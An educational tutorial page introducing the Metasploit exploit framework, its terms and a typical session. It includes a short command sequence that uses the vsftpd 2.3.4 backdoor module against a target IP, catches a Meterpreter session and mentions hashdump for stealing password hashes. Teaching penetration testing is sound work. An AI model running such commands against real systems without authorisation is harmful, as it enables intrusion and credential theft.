unicornAll work
All theoryTools & recon

Metasploit — the exploit framework

Thousands of exploits and payloads behind one interface — used deliberately.

In a nutshell Metasploit packages thousands of ready exploits, payloads and tools behind one consistent interface. Instead of finding and compiling an exploit by hand, you pick a module, set a few options, and run it. The industrial toolbox of the exploitation stage — powerful, and worth understanding rather than just firing.

What a "framework" gives you

Without it, exploiting a known bug means hunting down someone's code, fixing it, compiling it, and figuring out how to get a shell back. Metasploit standardizes all of that into one flow:

pick a module set options run exploit catch a session
search → use → set → run → session. Same knobs for every exploit.

Analogy — a professional's toolbox vs. a pile of loose parts. You could forge each tool. Metasploit is the organized case where every tool is labelled, fits the same handle, and comes with instructions — you spend effort choosing the right one, not building it.

The vocabulary

Term Meaning
msfconsole the main command-line you drive it from
exploit code that abuses a specific vulnerability to get access
payload what runs after success — the star is Meterpreter, an in-memory shell
auxiliary non-exploit modules: scanners, fuzzers, login brute-forcers
RHOSTS / LHOST the target / your machine for the payload to connect back to

A typical session

msfconsole
search vsftpd 2.3.4                            find a module for a known-vuln service
use exploit/unix/ftp/vsftpd_234_backdoor
show options                                   what must I set?
set RHOSTS 10.10.10.5                           the target
set LHOST 10.8.0.1                              my machine
run                                            fire → catch a Meterpreter session

Then getuid, sysinfo, hashdump drive post-exploitation.

Use it the right way It's easy to fire and easy to misunderstand. Two habits keep you honest: know what the module does (read the description and CVE — understanding why makes you a tester, not a button-presser), and remember it's noisy and sometimes destructive (a memory-corruption exploit can crash the service). On real work, deliberate and in scope; often a manual approach is stealthier.
All theory